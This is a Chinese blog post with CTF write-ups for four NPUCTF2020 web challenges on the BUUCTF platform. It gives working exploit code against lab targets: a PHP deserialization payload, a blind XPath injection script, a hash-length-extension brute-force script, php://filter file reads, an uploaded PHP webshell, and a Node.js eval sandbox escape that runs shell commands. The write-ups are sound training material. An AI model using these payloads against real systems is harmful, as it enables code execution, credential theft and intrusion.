Web-11(41-44)-BUUCTF平台

19 篇文章 1 订阅

本篇内容
[NPUCTF2020]ReadlezPHP
[NPUCTF2020]ezlogin
[NPUCTF2020]ezinclude
[NPUCTF2020]验证🐎

上一篇 | 目录 | 下一篇


本篇所有内容参考官方WP:NPUCTF Official Write-Up



[NPUCTF2020]ReadlezPHP
直接加view-source:查看源代码:
在这里插入图片描述

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

主要是利用__destruct()方法,使$b能代码执行,$a是执行的参数。然后将之序列化。payload:

<?php
	class HelloPhp{
		public $a;
		public $b;
	}
	$c = new HelloPhp();
	$c->a = 'phpinfo();';
	$c->b = 'assert';
	print_r(urlencode(serialize($c)));
?>

结果:

O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

在这里插入图片描述
另一种payload,也记录一下:

<?php
	class HelloPhp{
		public $a;
		public $b;
	}
	$c = new HelloPhp();
	$c->a = 'phpinfo';
	$c->b = 'call_user_func';
	print_r(urlencode(serialize($c)));
?>




[NPUCTF2020]ezlogin
在这里插入图片描述
老是超时,右键源代码发现有个token在搞鬼:
在这里插入图片描述
BP抓包发现是个xml请求,猜测是xpath注入:
在这里插入图片描述
但是有个烦人的token,直接写脚本抓取token,以便测试:

import requests
import re
import string

url = 'http://70c55725-5429-4beb-ba02-8f324c6b04cb.node3.buuoj.cn/login.php'

session = requests.session()

def getToken():
	r = session.get(url)
	token = re.findall('id="token" value="(.*?)"',r.text)[0]
	#print(token)
	return token

def main():
	headers = {'Content-Type': 'application/xml'}
	#user即写payload的地方
	user = "admin"
	data = "<username>{}</username><password>2</password><token>{}</token>".format(user,getToken())
	res = session.post(url,data=data,headers=headers)
	print(res.text)

if __name__ == '__main__':
	main()

经测试,成功了会回显非法操作!失败了会回显用户名或密码错误!
测试开始(以下测试都只需改动main()函数就好了):

user = "admin"	#用户名或密码错误!

1、判断根下节点数

def main():
	headers = {'Content-Type': 'application/xml'}
	for i in range(1,8):
		user = "admin' or count(/*)={} or '1".format(i)
		data = "<username>{}</username><password>2</password><token>{}</token>".format(user,getToken())
		res = session.post(url,data=data,headers=headers)
		if "非法操作" in res.text:
			print('节点数:%d'%i)
			break

结果:
在这里插入图片描述

2、猜解第一级节点值

def main():
	headers = {'Content-Type': 'application/xml'}
	chars = string.ascii_letters + string.digits;	#生成所有的字母和数字,共62个
	result = ''
	for i in range(1,50):
		for j in range(0,len(chars)):
			user = "admin' or substring(name(/*[position()=1]),{},1)='{}' or '1'='1".format(i,chars[j])
			data = "<username>{}</username><password>2</password><token>{}</token>".format(user,getToken())
			res = session.post(url,data=data,headers=headers)
			if "非法操作" in res.text:
				result += chars[j]
				print('第{}位:\t{}\t结果:{}'.format(i, chars[j], result))
				break

结果:
在这里插入图片描述
3、判断root的下一级节点数
类似于第1步,改个user值就好:

user = "admin' or count(/root/*)={} or '1".format(i)

节点数为1。

4、猜解root的下一级节点
类似于第2步,改个user值就好:

user = "admin' or substring(name(/root/*[position()=1]),{},1)='{}' or '1'='1".format(i,chars[j])

节点值为accounts

5、判断accounts的下一级节点数
类似于第1步,改个user值就好:

user = "admin' or count(/root/accounts/*)={} or '1".format(i)

节点数为2。

6、猜解accounts的下一级节点
类似于第2步,改个user值就好:

user = "admin' or substring(name(/root/accounts/*[position()=1]),{},1)='{}' or '1'='1".format(i,chars[j])
user = "admin' or substring(name(/root/accounts/*[position()=2]),{},1)='{}' or '1'='1".format(i,chars[j])

节点值都为user

7、判断user的下一级节点数
类似于第1步,改个user值就好:

user = "admin' or count(/root/accounts/user[1]/*)={} or '1".format(i)

节点数为3。

8、猜解user的下一级节点
类似于第2步,改个user值就好:

user = "admin' or substring(name(/root/accounts/user[1]/*[position()=1]),{},1)='{}' or '1'='1".format(i,chars[j])
user = "admin' or substring(name(/root/accounts/user[1]/*[position()=2]),{},1)='{}' or '1'='1".format(i,chars[j])
user = "admin' or substring(name(/root/accounts/user[1]/*[position()=3]),{},1)='{}' or '1'='1".format(i,chars[j])

节点值分别为id、username、password

9、分别猜解id、username、password的值
类似于第2步,改个user值就好:

user = "admin' or substring(/root/accounts/user[1]/*[1],{},1)='{}' or '1'='1".format(i,chars[j])
user = "admin' or substring(/root/accounts/user[1]/*[2],{},1)='{}' or '1'='1".format(i,chars[j])
user = "admin' or substring(/root/accounts/user[1]/*[3],{},1)='{}' or '1'='1".format(i,chars[j])

第一个user节点id、username、password对应的值为1,guest,e10adc3949ba59abbe56e057f20f883e

user = "admin' or substring(/root/accounts/user[2]/*[1],{},1)='{}' or '1'='1".format(i,chars[j])
user = "admin' or substring(/root/accounts/user[2]/*[2],{},1)='{}' or '1'='1".format(i,chars[j])
user = "admin' or substring(/root/accounts/user[3]/*[3],{},1)='{}' or '1'='1".format(i,chars[j])

第二个user节点id、username、password对应的值为2,adm1n,cf7414b5bdb2e65ee43083f4ddbc4d9f
这个值md5解密一下得到gtfly123。使用adm1n,gtfly123登录成功。
右键源代码发现:
在这里插入图片描述
解密得到flag is in /flag
尝试几番后使用大小写绕过:

admin.php?file=Php://filter/Read=convert.Base64-encode/resource=/flag

在这里插入图片描述
base64解密一下即可得到flag。





[NPUCTF2020]ezinclude

直接右键源代码提示:
在这里插入图片描述
看到这种形式的猜测是md5的hash长度扩展攻击,需满足的条件如下:

1. 我们要知道salt的长度。
2. 要知道任意一个由salt加密后的md5值,并且知道没有加盐的明文。
3. 用户可以提交md5值。

不知道secret密钥长度写脚本爆破,加盐前的明文自己构造,比如我构造一个

index.php?name=admin&pass=123

然后查看Cookie里的hash973225ae4fc8977f86d1a330b0774630
以下所有内容参考官方WP:NPUCTF Official Write-Up

import os
import requests

url = 'http://e15ac1ca-a985-4e4c-bba9-8ce9f428a0a4.node3.buuoj.cn/index.php'
for i in range(1,40):
    res = 'hashpump -s 973225ae4fc8977f86d1a330b0774630 -d admin -k {} -a admin'.format(str(i))
    data=os.popen(res).read()
    sign=data.split('\n')[0]
    action=(data.split('\n')[1]).replace('\\x','%')
    payload = '?name={}&pass={}'.format(action, sign)
    result=requests.get(url+payload).text
    print(i,'\t'+result+url+payload)
    if 'username/password error' not in result:
    	break

在这里插入图片描述

即secret密钥长度为32,跑出下一关地址flflflflag.php
页面发生跳转,bp抓包:
在这里插入图片描述
使用dirsearch扫描发现如下界面:
在这里插入图片描述

尝试php://伪协议读取config.php

flflflflag.php?file=php://filter/read=convert.base64-encode/resource=config.php

得到config.php内容:

<?php $secret='%^$&$#fffdflag_is_not_here_ha_ha'; ?> 

同样的得到dir.php内容:

<?php  var_dump(scandir('/tmp'));  ?>

dir.php的作用就是扫描/tmp下的文件。

这里可以用php7 segment fault特性

php://filter/string.strip_tags=/etc/passwd

php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。
写py脚本运行一下:

import requests
from io import BytesIO
import re
file={
	'file': BytesIO(b"<?php eval($_POST[1]);?>")
}
url="http://ae899368-594e-4814-ad27-7520be347d86.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
	r=requests.post(url=url,files=file,allow_redirects=False)
except:
	print("error")

利用dir.php的作用得到临时文件:
在这里插入图片描述
禁掉js查看phpinfo();即可得到flag。
在这里插入图片描述





[NPUCTF2020]验证🐎

(Nodejs。。。,目前还看不懂本题,记录一下)
本题参考m0on的writeup

本题考点:
JS弱类型
JS的toString特性
正则表达式绕过
JS箭头函数利用
JS原型链

在这里插入图片描述
点击就得到源代码:

const express = require('express');	//引入express模块
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

function saferEval(str) {
  if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    return null;
  }
  return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

//使用readFileSync(同步读取文件方法)读取index.html
const template = fs.readFileSync('./index.html').toString();
function render(results) {
  return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();	//实例化一个express
//bodyParser.urlencoded用来解析request中body的urlencoded字符,只支持utf-8的编码的字符,也支持自动的解析gzip和zlib。
//返回的对象是一个键值对,当extended为false的时候,键值对中的值就为'String'或'Array'形式,为true的时候,则可为任何数据类型。
app.use(bodyParser.urlencoded({ extended: false }));
//将文本解析为JSON
app.use(bodyParser.json());

app.use(cookieSession({
  name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
  keys
}));
//冻结Object和Math,表明这俩不可被修改
Object.freeze(Object);
Object.freeze(Math);
//接收POST数据
app.post('/', function (req, res) {
  let result = '';
  const results = req.session.results || [];
  const { e, first, second } = req.body;
  if (first && second && first.length===second.length && first!==second && md5(first+keys[0])===md5(second+keys[0])) {
    if (req.body.e) {
      try {
        result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
      } catch (e) {
        console.log(e);
        result = 'Wrong Wrong Wrong!!!';
      }
      //unshift():向数组的开头添加一个或更多元素,并返回新数组的长度。该方法会改变原数组。
      results.unshift(`${req.body.e}=${result}`);
    }
  } else {
    results.unshift('Not verified!');
  }
  if (results.length > 13) {
  	//pop():把数组的最后一个元素从其中删除,并返回最后一个元素的值。该方法会改变原数组。
    results.pop();
  }
  req.session.results = results;
  res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  req.session.admin = req.session.admin || 0;
  res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

1、先考虑第一层

first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])

keys不可知,无法爆破,而且需要长度相等,但是本身不相等,注意,此处用的是===以使类型和值完全匹配。
对其进行加盐md5,加盐中出现了问题,因为盐是字符串,与字符串相加会导致强制类型转化,而String和Array都正好有length属性,并且

'1'===[1]		// false
'1'+'salt'		// '1salt'
[1]+'salt'		// '1salt'

但是直接传urlencoded的表单是没法传数组的,而这里正好使用了JSON的中间件,所以只需要传JSON就好了。

{
  "e": "1+1"
  "first": "1",		# '1'+'str'='1str'
  "second": [1]		# [1]+'str'='1str'
}

或者传

"first":{"length":"1"},"second":{"length":"1"}

first和second现在都是object,而first.length===second.length,而且first!==second,最关键是md5(first+keys[0]) === md5(second+keys[0])这个代码,first是一个对象,和keys[0]拼接的时候就转换成String,而first的字符串和second的字符串相等,全部满足了。

2、然后考虑绕过正则

str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')

因为可以使用Math.随便什么单词,所以可以获取到Math.__proto__,但这姿势无法直接利用。但是经过尝试,发现Arrow Function 是可以使用的,尝试构造这种链:

((Math)=>(Math=Math.__proto__,Math=Math.__proto__))(Math)
// Math.__proto__.__proto__

然后尝试调用eval或者Function,但是此处无法直接输入字符串,故使用String.fromCharCode(...)
然后使用

Math+1 // '[object Math]1'

从原型链上导出String和Function。

((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))))(Math+1)()

// 等价于
const s = Math+1;					// '[object Math]1'
const a = s.constructor;			// String
const e = a.fromCharCode(...);		// ascii to string
const f = a.constructor;			// Function
f(e)(); // 调用

py脚本:

import re
encode = lambda code: list(map(ord,code))
decode = lambda code: "".join(map(chr,code))
a=f"""
(Math=>(
		Math=Math.constructor,
		Math.x=Math.constructor(
			Math.fromCharCode({encode("return process.mainModule.require('child_process').execSync('cat /flag')")})
		)()
	))(Math+1)
"""

b=re.sub(r"[\s\[\]]", "", a)	#将a中的空格(\s)和[]都去掉
print(b)

得到:

(Math=>(Math=Math.constructor,Math.x=Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()))(Math+1)

在这里插入图片描述




========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇

========================================================
转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/105756697
========================================================

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答:根据引用和引用的内容,buuctf web应该是指buuctf比赛中的一个web题目。其中可能涉及到Tornado作为非阻塞式服务器的使用,以及render函数的使用。而根据引用的内容,buuctf web题目可能存在一些漏洞,比如SSRF(Server Side Request Forgery)漏洞,可以通过对内网web应用实施攻击获取webshell。因此,在buuctf web题目中,可能需要掌握SSRF漏洞的利用和对web应用的渲染函数(render函数)进行利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [【CTFbuuctf web 详解(持续更新)](https://blog.csdn.net/m0_52923241/article/details/119641325)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【BUUCTF刷题】Web解题方法总结(一)](https://blog.csdn.net/qq_45834505/article/details/114276572)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [BUUCTFWeb真题学习整理(一)](https://blog.csdn.net/qq_41429081/article/details/98042205)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值